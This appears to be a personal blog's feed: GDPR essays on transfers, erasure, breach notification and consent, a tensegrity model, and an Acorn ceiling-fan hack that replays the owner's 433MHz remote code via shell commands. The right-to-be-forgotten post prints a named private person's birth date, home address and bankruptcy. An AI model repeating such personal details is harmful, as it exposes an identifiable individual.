limbenjaminhttps://limbenjamin.com/2023-12-03T20:47:00+08:00Tensegrity Hourglass Tower2023-12-03T20:47:00+08:002023-12-03T20:47:00+08:00Benjamin Limtag:limbenjamin.com,2023-12-03:/articles/tensegrity-hourglass-tower.html<p>It's the holiday seasons and I decided to build a Tensegrity Hourglass Tower model as a holiday project. </p>
<p>Possibly the first in the world. The inverted tripod at the top is "floating" and only attached by twine. Tautline hitch is used to adjust the tension on the 3 sides. </p>
<p>The …</p><p>It's the holiday seasons and I decided to build a Tensegrity Hourglass Tower model as a holiday project. </p>
<p>Possibly the first in the world. The inverted tripod at the top is "floating" and only attached by twine. Tautline hitch is used to adjust the tension on the 3 sides. </p>
<p>The vibration is due to the relatively low tension. Stable platform can be achieved with higher tension using stronger materials, e.g. titanium rods, wire rope, tensioners. </p>
<video width="405" height="720" controls src="//limbenjamin.com/media/tensegrity_hourglass_tower.mp4" ></video>GDPR: Transfer2023-11-15T10:00:00+08:002023-11-15T10:00:00+08:00Benjamin Limtag:limbenjamin.com,2023-11-15:/articles/gdpr-transfer.html<p>In Lindqvist, the court concluded that uploading data to a hosting provider within the EU where that data is available for access to anyone outside the EU does not constitute a data transfer [1]. The explanation given was that the page did not have the ability to initiate a transmission …</p><p>In Lindqvist, the court concluded that uploading data to a hosting provider within the EU where that data is available for access to anyone outside the EU does not constitute a data transfer [1]. The explanation given was that the page did not have the ability to initiate a transmission of that information to those who were not seeking that information [2] and it was not a direct link between Lindqvist and the person in the third country but through a hosting provider [3].</p>
<p>I believe this creates some form of a lacuna or loophole, where data processors can transmit/send/push/upload that data on a server and have the party in the third country request/retrieve/pull/download that data. Since, the transmission is initiated by the party in the third country and there is no direct link, it does not constitute a transfer. Much wasn't clarified because it wasn't relevant in Lindqvist. If it was specifically set up to require authentication such that it was meant only for a certain party to retrieve, would it have constituted a transfer?</p>
<p>If I had could use an analogy to clarify, if I pass an envelope directly to a friend, it is a transfer. However, if I leave an envelope taped to the underside of a park bench, and someone happened to chance upon it at a later time and retrieved it, it is not a transfer. What if I had told a friend about the location with the expectation that he was going to retrieve it shortly after I taped it there? </p>
<p>According to the GDPR, a "data transfer" occurs if and only if that data is processed after the "transfer" has taken place [4]. According to the ICO, if no processing takes place, it is merely considered a "data transit" and not "data transfer" [5]. I think this is a really elegant way to sidestep the complexity of defining the direction of transmission, intention behind transmission, direct/indirect transmission and other such aspects. If we were to return to that analogy, it no longer matters how my friend got hold of that envelope. If it remains sealed, it is a "data transit". Once he opens the envelope and processes the contents, it is a "data transfer".</p>
<p>With the recent trend of "cloud computing", where processing and storage of data is moved to the cloud instead of on-premise, there has been increased scrutiny with respect to data transfers. In general, when data is moved to a cloud provider in a third party country, the European Commission recommends the use of Standard Contractual Clauses (SCC) to ensure that personal data receives adequate protection that meets the standards of the GDPR [6]. However, cloud providers do offer solutions such as a Virtual Private Cloud (VPC), which Amazon claims "closely resembles a traditional network that you'd operate in your own data center" [7]. In such cases, it can probably be argued that the data still remains within your organization and Binding Corporate Rules (BCR) might suffice. </p>
<p>[1] Case C-101/01 Bodil Lindqvist [2013] ECR I–12971, para 70.</p>
<p>[2] ibid, para 60.</p>
<p>[3] ibid, para 61.</p>
<p>[4] Regulation (EU) 2016/679 of the European Parliament and of the Council of 27 April 2016 on the protection of natural persons with regard to the processing of personal data and on the free movement of such data, and repealing Directive 95/46/EC (General Data Protection Regulation) [2016] OJ L 119/1, Article 44</p>
<p>[5] Information Commisioner's Office, 'International data transfers' <a href="https://ico.org.uk/for-organisations/data-protection-and-the-eu/data-protection-and-the-eu-in-detail/the-uk-gdpr/international-data-transfers/">https://ico.org.uk/for-organisations/data-protection-and-the-eu/data-protection-and-the-eu-in-detail/the-uk-gdpr/international-data-transfers/</a> accessed 15 November 2023</p>
<p>[6] COMMISSION IMPLEMENTING DECISION (EU) 2021/914 of 4 June 2021 on standard contractual clauses for the transfer of personal data to third countries pursuant to Regulation (EU) 2016/679 of the European Parliament and of the Council [2021] OJ L199/31</p>
<p>[7] Amazon, 'What is Amazon VPC?' <a href="https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html">https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html</a> accessed 16 November 2023</p>GDPR: Right to be Forgotten2023-11-10T10:00:00+08:002023-11-10T10:00:00+08:00Benjamin Limtag:limbenjamin.com,2023-11-10:/articles/gdpr-right-to-be-forgotten.html<p>Jan mentioned that data controllers have to ensure "every instance of their personal data is eliminated across all platforms". I believe that is a bit of an overstatement. I would have probably worded it as "every instance of their personal data where processing is authorized by the controller is eliminated …</p><p>Jan mentioned that data controllers have to ensure "every instance of their personal data is eliminated across all platforms". I believe that is a bit of an overstatement. I would have probably worded it as "every instance of their personal data where processing is authorized by the controller is eliminated". I don't think the original version meant to cover instances where the data has been processed by others who have not been authorized and do not have any contractual relationship with the controller. I think such a scenario would be possible in real life. In the Google Spain case, La Vanguardia Ediciones SL processed and published Mr González's personal data under the journalistic exemption [1]. Google Spain indexed that page without informing La Vanguardia. This constitutes data processing according to the judgment [2]. I believe it is safe to say that Google Spain has never been authorized by La Vanguardia to process personal data and it would be too onerous to expect La Vanguardia to chase down and enforce the data subject's request on companies which they may not even know may be processing the data subject's data, let alone even have a contractual relationship with. Furthermore, there may also be web services which aggregate or summarise data from multiple sources. How would you determine if that data originally came from La Vanguardia or some other media outlet that also reported on the case. </p>
<p>Would the practical effect have differed? I don't believe so. The crux lies in the statement "shall be considered responsible for that publication". Jan's position is that responsibility includes both 'informing' and 'enforcing' the data subject's request. "Responsibility" as defined in Recital 74 states that "appropriate and effective measures" have to be taken "to demonstrate compliance" [3]. What would be considered appropriate? I believe that the controller should have a contractual clause indicating that the third party must comply with requests from the controller to remove personal data on request. The controller should ensure third party has appropriate processes that are certified and audited before entrusting the third party with the processing. In my opinion, these are the appropriate measures and would have sufficed under the controller's responsibility even in the original version. I don't think the original version meant to go as far as to include "enforcement". The third party is an independent party that cannot be compelled to perform an act. Holding a controller responsible for the actus reus committed by a third party even after the controller has taken appropriate safeguards is a bit far fetched in my opinion. Therefore I believe the practical effect might not have differ much, the current version was revised to bring greater clarity by using the term "reasonable steps". The original version would have discharged the controller of liability as long as similar "reasonable steps" were taken.</p>
<p>On a side note, reading through the Google Spain case brought up something I chanced upon some years ago. In the Google Spain case, Mr González wanted embarrassing financial information (recovery of social security debts)about him no longer searchable as it had been fully resolved and was outdated information. The UK government has been publishing similar embarrassing financial information about insolvent individuals since 1703. Patrick Dennis Ellis Trueman, Unemployed, born 29/11/1962, residing at 1 StonebridgeLane, Great Houghton, Barnsley, South Yorkshire S72 0BY was declared bankrupt on 16/03/2009 [4][5]. The gazette also provides a search bar similar to Google which allows anyone to search any names to reveal past embarrassing financial information about a person. Unfortunately for Patrick, his embarrassing financial information happened to be a matter of public record and so will probably remain searchable for the next 300 years.</p>
<p>[1] Case C-131/12 Google Spain SL and Google Inc. v Agencia Española de Protección de Datos (AEPD) and Mario Costeja González [2014], Para 85</p>
<p>[2] Case C-131/12 Google Spain SL and Google Inc. v Agencia Española de Protección de Datos (AEPD) and Mario Costeja González [2014], Para 41</p>
<p>[3] Regulation (EU) 2016/679 of the European Parliament and of the Council of 27 April 2016 on the protection of natural persons with regard to the processing of personal data and on the free movement of such data, and repealing Directive 95/46/EC (General Data Protection Regulation) [2016] OJ L 119/1, Recital 74</p>
<p>[4] His Majesty's Stationery Office, 'Patrick Trueman | Bankruptcy Orders | The Gazette' <a href="https://www.thegazette.co.uk/notice/L-59012-770015">https://www.thegazette.co.uk/notice/L-59012-770015</a> accessed 10 November 2023.</p>
<p>[4] His Majesty's Stationery Office, 'Patrick Trueman | Notice of Dividends' <a href="https://www.thegazette.co.uk/notice/4475285">https://www.thegazette.co.uk/notice/4475285</a> accessed 10 November 2023.</p>GDPR: Breach Notification2023-10-29T10:00:00+08:002023-10-29T10:00:00+08:00Benjamin Limtag:limbenjamin.com,2023-10-29:/articles/gdpr-breach-notification.html<p>I think there are areas where LastPass has done well and areas where they fall short.</p>
<p>Firstly, LastPass's initial communication on August 25 2022 was sent two weeks after detecting a breach, which is reasonably timely considering they needed time to investigate the incident [1]. EDPB guidelines mandate that controller …</p><p>I think there are areas where LastPass has done well and areas where they fall short.</p>
<p>Firstly, LastPass's initial communication on August 25 2022 was sent two weeks after detecting a breach, which is reasonably timely considering they needed time to investigate the incident [1]. EDPB guidelines mandate that controller should inform individuals timeously upon reasonable certainty of a breach [2]. It is important to note there was no evidence of any personal data breach at that time and they actually did not have any obligation to notify their customers. </p>
<p>LastPass sent a total of four communications over four months with increasing amounts of detail as the investigation progressed [1]. The practice of sending notifications in phases is recommended in the EDPB guidelines to balance the need for timely as well as detailed notifications [3].</p>
<p>However, LastPass fell short when it came to explaining the possible high risk to individual's privacy from the breach of unencrypted URLs. LastPass is a password manager, a URL signifies that the customer has an account with a specific website. Having an account with Morgan Stanley exposes an individual as a HNWI. Having an account on Autism Forum or Grindr exposes health and sexual orientation data respectively, which are special categories of data under GDPR. Instead, LastPass focused on their state-of-the-art password encryption which is technically a non-issue and didn't need to be disclosed since the confidentiality of the key was not compromised [4]. </p>
<p>As for USS, I believe their response could have benefited from including the date of the breach to demonstrate timely response. It is difficult to compare the measures taken by LastPass and USS. LastPass provides a free service that anyone in the world can sign up for. Membership to USS is more exclusive and USS prima facie charges its members investment management fees. Mandating that controllers take action at their own expense might stifle companies that offer free services. Perhaps, we can take reference from the proposed Digital Services Act and vary the requirements based on the size and resources available to an organization [5].</p>
<p>I believe more should be done preventively instead of reactively. Once information has been leaked, it remains out there indefinitely. We cannot expect individuals to be in a heightened state indefinitely or for companies to offer lifelong credit monitoring. We should prevent breaches by stepping up cybersecurity. In his article, Wolters mentioned that a IT security firm protecting a hypothetical energy company has no obligations under the GDPR as it is not processing any personal data and the GDPR does not harmonize the expectation on services delivered by the IT security firm [6].</p>
<p>In this area, Singapore has been one of the first countries to mandate licensing for firms delivering cybersecurity monitoring and assessment services [7]. Licensing ensures a minimum standard of service and should greatly improve preventive measures. Companies can no longer engage a fly-by-night security firm to do a 10 minute security assessment just to rubber-stamp that compliance requirement.</p>
<p>In a data breach, the negative externalities are experienced mainly by individuals whose data are being compromised and not the companies breached. Thus, there is a need for effective legislation to ensure companies internalize that cost and make genuine efforts to secure personal data.</p>
<p>[1] Karim Toubba, 'Notice of Recent Security Incident' (LastPass, December 22, 2022) <a href="https://blog.lastpass.com/2022/12/notice-of-recent-security-incident/">https://blog.lastpass.com/2022/12/notice-of-recent-security-incident/</a> accessed 29 October 2023</p>
<p>[2] EDPB, Guidelines 9/2022 on Personal Data Breach Notification Under GDPR <a href="https://edpb.europa.eu/our-work-tools/our-documents/guidelines/guidelines-92022-personal-data-breach-notification-under_en">https://edpb.europa.eu/our-work-tools/our-documents/guidelines/guidelines-92022-personal-data-breach-notification-under_en</a> accessed 29 October 2023, para 83</p>
<p>[3] ibid, para 57</p>
<p>[4] ibid, para 75</p>
<p>[5] Regulation (EU) 2022/2065 of the European Parliament and of the Council of 19 October 2022 on a Single Market For Digital Services and amending Directive 2000/31/EC (Digital Services Act) [2022] OJ L 227/1, para 41</p>
<p>[6] Wolters PTJ, 'The Security of Personal Data Under the GDPR: a Harmonized Duty or a Shared Responsibility?' (2017) 7 International Data Privacy Law 165, pp 171</p>
<p>[7] Cybersecurity Act 2018, Part 5</p>GDPR: Data Minimisation2023-10-17T10:00:00+08:002023-10-17T10:00:00+08:00Benjamin Limtag:limbenjamin.com,2023-10-17:/articles/gdpr-data-minimisation.html<p>I believe that the legislators drafting the GDPR have taken into account the concept of "behavioral surplus". Both can co-exist as long as companies exercise good judgement in the processing of data. According to Article 5(1)(c) of the GDPR, Personal data processed must be "adequate, relevant and limited …</p><p>I believe that the legislators drafting the GDPR have taken into account the concept of "behavioral surplus". Both can co-exist as long as companies exercise good judgement in the processing of data. According to Article 5(1)(c) of the GDPR, Personal data processed must be "adequate, relevant and limited to what is necessary" [1]. The crux here is the term "personal data", once companies anonymize the data, it no longer falls under the jurisdiction of the GDPR. Companies can then indulge in "all you can process" behaviour.</p>
<p>The obvious follow up question would be whether anonymized data would suffice for AI and Big Data purposes. Big Data, as it's namesake suggests, thrives on volume. It is nary concerned with data on a personal level. Zuboff, citing a Google research paper, mentioned the phrase "applying learning algorithms to understand and generalize" [2]. The aim of big data is to filter out personal quirks and identify general trends, hence anonymized data should work just as well. Looking at a more concrete example, incidental data relating to Google Search such as "how a query is phrased, spelling, punctuation, dwell times, click patterns" were collected to provide a "broad sensor of human behaviour" [3]. Once again, we are looking to identify human behaviour in general, not specific to any individual. I believe that companies can take proper safeguards to anonymize data and reap the benefits of big data while remaining compliant with GDPR.</p>
<p>Nonetheless, there is no smoke without fire. There are certain purposes which cannot be fulfilled using anonymized data. Later in the chapter, Zuboff explores "targeted" advertising [4] which would definitely require personal data to be present so that the outcome from the processing can be applied back to that individual. In such scenarios, companies have to be transparent and include inter alia targeted advertising as a purpose for data processing. This would give the company the mandate to collect and process the relevant data that is required for targeted advertising.</p>
<p>AI systems and big data applications are not sentient. They do not have the ability to discern if the processing they are performing is "fair", free from bias and what a reasonable person would expect. Thus, it is important for us to be very deliberate in considering what data to process and deciding how to interpret the results of the processing. Allowing these technologies to operate unchecked could result in violations of data privacy, human rights or even compromise the vital interests of a human being.</p>
<p>[1] Regulation (EU) 2016/679 of the European Parliament and of the Council of 27 April 2016 on the protection of natural persons with regard to the processing of personal data and on the free movement of such data, and repealing Directive 95/46/EC (General Data Protection Regulation) [2016] OJ L 119/1, Article 5</p>
<p>[2] Shoshana Zuboff (2019) 'The Age of Surveillance Capitalism: The Fight for a Human Future at the New Frontier of Power' (Profile Books 2019), Chapter 3</p>
<p>[3] ibid, Chapter 3 Section II. A Balance of Power</p>
<p>[4] ibid, Chapter 3 Section IV. The Discovery of Behavioral Surplus</p>GDPR: Consent2023-10-12T10:00:00+08:002023-10-12T10:00:00+08:00Benjamin Limtag:limbenjamin.com,2023-10-12:/articles/gdpr-consent.html<p>According to Recital 32 of the GDPR, "pre-ticked boxes" as well as "inactivity" does not count as consent [1]. Planet49 GmbH v Bundesverband der Verbraucherzentralen was probably one of the cases which set the precedence for what constitutes consent. Planet49 had a pre-ticked checkbox on its lottery participation form allowing …</p><p>According to Recital 32 of the GDPR, "pre-ticked boxes" as well as "inactivity" does not count as consent [1]. Planet49 GmbH v Bundesverband der Verbraucherzentralen was probably one of the cases which set the precedence for what constitutes consent. Planet49 had a pre-ticked checkbox on its lottery participation form allowing Planet49 to utilize cookies to track the user's websurfing behaviour and to enable targeted advertising provided by an advertising company [2]. Paragraph 82(1) of the judgment clearly highlights that consent is not valid if the user is presented with a pre-checked box which must be unselected to remove consent.</p>
<p>In Paragraph 61 of the judgment, the court agreed with the Advocate General's position that "clear affirmative action signifying agreement" is required to pass the test of consent [3]. Applying that position to practices in the online world, continuing to scroll through the website will not constitute consent. This is because scrolling through the website is normal behaviour and the user did not deviate from that normal behaviour to perform any "clear affirmative action". Swiping away the consent dialog will also not constitute consent because the user's refusal to interact with the consent dialog would probably count as "inactivity". However, if the website implemented a "swipe right to agree" button, that will constitute as consent because the swiping behaviour would be a "clear affirmative action" that the user partaked in.</p>
<p>According to Recital 32 of the GDPR, consent must be sought for each different purpose of processing. This means that the data controller cannot have a single checkbox seeking blanket consent from the user but has to explicit state the various reasons for seeking consent. I was unable to find any information regarding processing ex ante receiving consent in general. However, logically it should be prohibited. The data controller does not know ahead of time whether consent will be granted by the data subject, if the data subject decides to withhold consent, then the data controller will be in a conundrum. However, in exceptional circumstances, deferred consent is allowed. In Paragraph 3B of the 2021 amendment to Ireland's Data Protection Act, deferred consent is permitted for health research purposes if the data subject is in need of urgent health care and is unable to consent due to the physical or mental state at that material time [4].</p>
<p>[1] Regulation (EU) 2016/679 of the European Parliament and of the Council of 27 April 2016 on the protection of natural persons with regard to the processing of personal data and on the free movement of such data, and repealing Directive 95/46/EC (General Data Protection Regulation) [2016] OJ L 119/1, Recital 32</p>
<p>[2] Case C–673/17 Bundesverband der Verbraucherzentralen und Verbraucherverbände - Verbraucherzentrale Bundesverband e.V. v Planet49 GmbH [2020] 1 WLR 2248.</p>
<p>[3] Bundesverband n(2) Paragraph 61</p>
<p>[4] Data Protection Act 2018 (Section 36(2)) (Health Research) (Amendment) Regulations 2021, Paragraph 3B</p>GDPR: Grounds for processing2023-10-09T10:00:00+08:002023-10-09T10:00:00+08:00Benjamin Limtag:limbenjamin.com,2023-10-09:/articles/gdpr-grounds-processing.md.html<p>I would like to explore Article 9(2)(e) of the GDPR further as the term "manifestly made public" appears to warrant more in depth discussion. An example for such a situation could be an event organizer processing the details of an openly known HIV positive individual to invite that …</p><p>I would like to explore Article 9(2)(e) of the GDPR further as the term "manifestly made public" appears to warrant more in depth discussion. An example for such a situation could be an event organizer processing the details of an openly known HIV positive individual to invite that individual to speak about living with HIV at the event. Since that individual has already publicly announced his/her HIV status and the main feature of that event is about hearing from the point of view of a HIV positive person, the event organizer should be allowed to process and include data about individual's HIV status when inviting that individual. In such a circumstance, the event organizer does not yet have consent from the individual, hence it cannot fall under Article 9(2)(a).</p>
<p>According to guidance from the ICO, it is important that the individual has made the information public voluntarily on his or her own accord [1], and the information was not made public due to a data leak. It is also important to consider whether the individual would reasonably expect that data to be processed in this circumstance [2]. For example, if that same HIV positive person was invited to speak about an unrelated topic, the event organizer will not have grounds to process data about his/her HIV status. Everyone plays multiple roles in life, one could be a part time student, working professional, parent or a child depending on the circumstances. We should not be applying a label to any individual across all facets of his or her life. </p>
<p>Lastly, it is also important to consider if the data can be "realistically accessed" by a member of the general public [3]. For example, if a teaching staff has formed a picket line outside a university building as part of industrial action called for by the Universities and College Union, such an action may not fall under Article 9(2)(e). This is because of its transient nature, only those present would have witnessed the event and a member of public cannot subsequently access this information. Hence, the university would not have any grounds to process such data. </p>
<p>I would argue that Article 9(2)(e) can be further refined and restricted to something along the lines of:</p>
<p>(e) processing relates to personal data which are manifestly made public on a permanent basis by the data subject voluntarily; where the data being processed is directly relevant to the purpose for which it is processed and where the data subject would reasonably expect that processing to take place. </p>
<p>[1] Information Comissioner's Office, 'What are the conditions for processing?' <a href="https://ico.org.uk/for-organisations/uk-gdpr-guidance-and-resources/lawful-basis/special-category-data/what-are-the-conditions-for-processing/#conditions5">https://ico.org.uk/for-organisations/uk-gdpr-guidance-and-resources/lawful-basis/special-category-data/what-are-the-conditions-for-processing/#conditions5</a> accessed 9 October 2023</p>
<p>[2] ibid</p>
<p>[3] ibid</p>Liabilities of Intermediaries2023-10-07T10:00:00+08:002023-10-07T10:00:00+08:00Benjamin Limtag:limbenjamin.com,2023-10-07:/articles/liabilities-of-intermediaries.html<p>I believe one main problem when imposing liability on online content occurs when there is a hard conflict between 2 legal systems [1]. Since online content is accessible worldwide, it would be difficult to subject it to law from two strikingly different jurisdictions simultaneously. The case of LICRA vs Yahoo …</p><p>I believe one main problem when imposing liability on online content occurs when there is a hard conflict between 2 legal systems [1]. Since online content is accessible worldwide, it would be difficult to subject it to law from two strikingly different jurisdictions simultaneously. The case of LICRA vs Yahoo [2] is one which illustrates the idealogical conflict between 2 different legal systems. In this case, the French court attempted to exercise jurisdiction and apply lex loci on a US company's English site, by ordering Yahoo! to block French internet users from accessing pages auctioning Nazi memorabillia in English. While it is a criminal offense under French law, the first amendment of the US Constitution allows for such auctions inter alia under freedom of speech. Yahoo eventually brought the case to the US Court in an attempt to quash the French court order. A similar conundrum has been observed with Thailand's strict lèse-majesté provisions. The Thai government has signaled the intention to prosecute Facebook, Google and Twitter over their failure to adhere to take down notices [3]. Adhering to these notices would violate freedom of speech. The existence of such laws is understandable given the historical and cultural context. Countries went through wars and hardship which led to the enactment of those laws. Nonetheless, the global borderless nature of online content raises issues when laws from various jurisdictions contradict, leaving companies with a dilemma. </p>
<p>The other issue lies with the difficulty of prosecuting the actual offender. Unlike traditional media, where only journalists and the famous have a voice, online platforms give everyone a voice. When an individual decides to use that voice to transmit high commercial valued content for free (i.e. uploading the latest Hollywood blockbuster to a file sharing site), it goes "viral" quickly. Courts would be forced to take action since there is substantial copyright violation. In UPC Telekabel Wien GmbH v Constantin Film Verleih GmbH, the claimants, having been unsuccessful in blocking the site kino.to, had to resort to getting an Austrian ISP to block it's subscriber's access to the site. This is clearly not ideal since subscribers of other ISPs are still able to access the site. Furthermore, the actual offender can register new domain names to evade the ban while remaining scot free. Ideally, the actual offender should be punished, however the nature of online content makes it difficult to identify and prosecute actual offenders in such cases. </p>
<p>[1] Martin Husovec and Irene Roche Laguna. 2022. “Digital Services Act: A Short Primer.” pp. 11</p>
<p>[2] League Against Racism and Anti-Semitism (LICRA) and the French Union of Jewish Students v Yahoo! Inc and Yahoo France [2001] EBLR 1(3) 110–120 (Paris, 20 November 2000).</p>
<p>[3] Thailand prosecutes Facebook, Google and Twitter over posts, (BBC) <a href="https://www.bbc.com/news/technology-54296465">https://www.bbc.com/news/technology-54296465</a> accessed 7 October 2023</p>
<p>[4] UPC Telekabel Wien GmbH v Constantin Film Verleih GmbH: C-314/12 C-314/12, ECLI:ECLI:EU:C:2014:192, [2014] Bus LR 541, [2014] IP & T 438, [2014] All ER (D) 302 (Mar)</p>GDPR: Changes to Sensitive Personal Data2023-09-28T10:00:00+08:002023-09-28T10:00:00+08:00Benjamin Limtag:limbenjamin.com,2023-09-28:/articles/gdpr-changes-sensitive-personal-data.html<p>Article 9(1) of the GDPR added genetic data, biometric data where it is used to uniquely identify a person as well as sexual orientation into the definition of "sensitive personal data". These changes were likely prompted by the social and technological changes that occurred in the decade between when …</p><p>Article 9(1) of the GDPR added genetic data, biometric data where it is used to uniquely identify a person as well as sexual orientation into the definition of "sensitive personal data". These changes were likely prompted by the social and technological changes that occurred in the decade between when the Data Protection Directive came into force (1995) and when the GDPR came into force (2018).</p>
<p>Prior to 2006, genetic testing was mainly performed by healthcare providers for medical reasons and thus the data was considered health data which is protected under GDPR. 23andMe, one of the first companies to offer direct-to-consumer genetic testing, was set up in 2006 [1]. With the subsequent rise of direct-to-consumer genetic testing, genetic testing began to be done for various reasons inter alia, finding out their heritage or ancestry, finding distant relatives, and even lifestyle related reasons such finding out indicators related to sleep, diet or exercise. Thus, such new innovative uses for genetic testing likely prompted the need for it to be added into the definition to prevent misuse of such data by companies offering genetic testing. </p>
<p>In 2013, Apple launched the iPhone 5s, which is one of the first phones to incorporate a fingerprint sensor [2]. This marked the first time that companies were able to collect biometric data from its users in bulk and thus once again warranted protection through the adding of biometric data into the definition of "sensitive personal data".</p>
<p>In 2001, the Netherlands became the first country in the world to legalize same-sex marriages [3]. A number of other countries have also followed suit since then. A growing social acceptance for LGBT rights has likely contributed to the decision to include sexual orientation into the definition of "sensitive personal data" so as to protect individuals from possible discrimination.</p>
<p>As our society undergoes further social and technologies changes, we will likely see changes to the definition of "sensitive personal data". </p>
<p>Article 9(2) covers the conditions under which such data can be processed under GDPR. In summary, processing of such data is allowed if the individual has given explicit consent, or if processing is critical to preserve the individual's life, or if the individual has voluntary made the data public, or if it is authorized by EU or national law in relation to employment, social security, or if there is public health or public interest in the archival or statistical collection. </p>
<p>[1] Christina Farr, '23andMe founder Anne Wojcicki is leading a DNA revolution by going directly to consumers' (CNBC, 22 May 2018) <a href="https://www.cnbc.com/2018/05/22/23andme-took-years-building-a-direct-to-consumer-health-business.html">https://www.cnbc.com/2018/05/22/23andme-took-years-building-a-direct-to-consumer-health-business.html</a> accessed 28 September 2023</p>
<p>[2] Luke Dormehl, 'Today in Apple history: Apple acquires the company behind Touch ID' (Cult of Mac, 28 July 2023) <a href="https://www.cultofmac.com/440033/today-in-apple-history-apple-acquires-the-company-behind-id/">https://www.cultofmac.com/440033/today-in-apple-history-apple-acquires-the-company-behind-id/</a> accessed 28 September 2023</p>
<p>[3] Government of the Netherlands, 'Same-sex marriage' <a href="https://www.government.nl/topics/marriage-cohabitation-agreement-civil-partnership/marriage-civil-partnership-and-cohabitation-agreements/same-sex-marriage">https://www.government.nl/topics/marriage-cohabitation-agreement-civil-partnership/marriage-civil-partnership-and-cohabitation-agreements/same-sex-marriage</a> accessed 28 September 2023</p>Roomba's Data Protection Obligations2023-09-19T10:00:00+08:002023-09-19T10:00:00+08:00Benjamin Limtag:limbenjamin.com,2023-09-19:/articles/roombas-data-protection-obligations.html<p>Under a permissive approach, Roomba has little obligations to its customers. It is able to use a blanket statement in its policy such as "share personal information with subsidiaries, third party vendors, and the government, as well as in connection with 'any company transaction' such as a merger or external …</p><p>Under a permissive approach, Roomba has little obligations to its customers. It is able to use a blanket statement in its policy such as "share personal information with subsidiaries, third party vendors, and the government, as well as in connection with 'any company transaction' such as a merger or external investment." to justify its actions and claim that consent has already been sought from its customers to sell their home layout maps.</p>
<p>However, under the prohibitive principle, Roomba would have to more transparent and explicit with its intentions when drafting their policy. Let's have a look at Art 6(1) of the GDPR to see which point it falls under.</p>
<p>(b) The sale of home layout maps is not strictly required for the Roomba to clean the home (performance of a contract). <br>
(c) Sale of home layout maps to private companies does not fulfill any legal obligation. <br>
(d) It has no bearing on the vital interest of the data subject/other natural persons (unless Roomba is sharing the home layout maps with emergency services to facilitate medical rescue). <br>
(e) Sale of home layout maps to private companies is not done in public interest.<br>
(f) We can argue that there is commercial interests pursued by the controller, however such interests are overridden by the personal data privacy of the owner </p>
<p>As such, the action of sale of home layout map appears to fall under Point a, where it is stated that the consent must be given for that specific purpose. Roomba will need to explicitly call this out in their policy statement and not rely on a generic blanket statement to cover all their various data processing actions.</p>
<p>I would lean towards a prohibitive approach for data protection law. In a situation of unequal expertise or bargaining power, the court will usually hold the entity with greater expertise or bargaining power to higher standards. e.g. Esso Petroluem Co Ltd vs Mardon [1976] QB801. Similarly in this case, Roomba is the expert here. They know how the automated vacuum cleaners work, what data it collects, the commercial value of the data... It is only fair to hold them to higher standards and make them explicitly list out what data is collected and for what purposes. If we shift the burden over to consumers, it will make purchasing an automated vacuum cleaner an extremely onerous task. Consumers will have to spend hours understanding the features that each brand has, whether that particular model builds a home map layout, or whether it just moves in a grid like pattern until it is unable to move anymore. Consumers might even have to look through Roomba's financial reports to figure out which companies are partnering with Roomba and infer if their data is being shared with there partners.</p>Acorn Fan: Home Automation2023-08-09T11:46:00+08:002023-08-09T11:46:00+08:00Benjamin Limtag:limbenjamin.com,2023-08-09:/articles/acorn-fan-home-automation.html<p><a href="https://acornceilingfan.com/">Acorn</a> is a company in Singapore that sells ceiling fans. Some of the models have a remote control for convenience. However, they are not smart fans and you will not be able to control them using your home automation solution out of the box. However, if you have the remote …</p><p><a href="https://acornceilingfan.com/">Acorn</a> is a company in Singapore that sells ceiling fans. Some of the models have a remote control for convenience. However, they are not smart fans and you will not be able to control them using your home automation solution out of the box. However, if you have the remote pictured below, then there may be a way to "convert" it into a smart fan very cheaply. </p>
<p><img alt="image" src="//limbenjamin.com/media/acorn-fan.jpg"></p>
<p>Remote controlled fans such as these usually use RF as a means of communication. They can either use the 315Mhz or 433Mhz frequency. Through trial and error, I discovered that my fan uses 433Mhz. These fans usually use a simple static code so it would be possible to sniff and replay and same static code if you have a 433Mhz transceiver. </p>
<p>The transceiver I got is this cheap <a href="https://item.taobao.com/item.htm?spm=a1z09.2.0.0.4d9c2e8dQuQu71&id=530515308004&_u=91orheug9837">$5 YS-UTR2 transceiver</a>. As with all products from China, the documentation is extremely poor, the software is hosted on Baidu Pan which requires a China mobile number to sign up for. So it's time for some research and reverse engineering. There are <a href="https://www.cnx-software.com/2017/05/23/this-8-usb-transceiver-can-add-433-mhz-device-support-to-your-home-automation-gateway/">people</a> who have succeeded in the past, and after a bit of reading and through trial and error, I managed to get it to work.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span>
<span class="normal">19</span>
<span class="normal">20</span>
<span class="normal">21</span>
<span class="normal">22</span>
<span class="normal">23</span>
<span class="normal">24</span>
<span class="normal">25</span>
<span class="normal">26</span>
<span class="normal">27</span>
<span class="normal">28</span>
<span class="normal">29</span>
<span class="normal">30</span>
<span class="normal">31</span>
<span class="normal">32</span></pre></div></td><td class="code"><div><pre><span></span><code># The brltty service uses the same CH340 chip. Linux will autoload the brltty driver so we must disable it
sudo systemctl stop brltty.service
sudo systemctl disable brltty.service
sudo systemctl mask brltty-udev.service
# Sniff the RF signal for each individual buttons
# Connect to the device and log the binary output to file.
screen -S mySession -L -Logfile off_button_log /dev/ttyUSB0 9600, cs8
# When you press the button on the original remote, you should get binary data from the ttyUSB0 port.
# The same code might be transmitted multiple times.
xxd off_button_log
00000000: fd01 2345 6789 dffd 0123 4567 89df fd01
00000010: 2345 6789 df
# After removing the repeats, we get the following code.
fd01 2345 6789 df
# As shown in the taobao video, we will need to replace the preamble 'fd' and the postamble 'df' with '99'
# We just need to send the binary data to ttyUSB0 port.
echo -ne "\x99\x01\x23\x45\x67\x89\x99" > /dev/ttyUSB0
# If you are using home assistant, you can save the command in a shell script and execute it over SSH.
command_line:
- switch:
name: Fan
command_on: ssh -i /config/id_rsa -o 'StrictHostKeyChecking=no' hauser@172.1.0.1 '/home/hauser/fan_control/fan_med.sh'
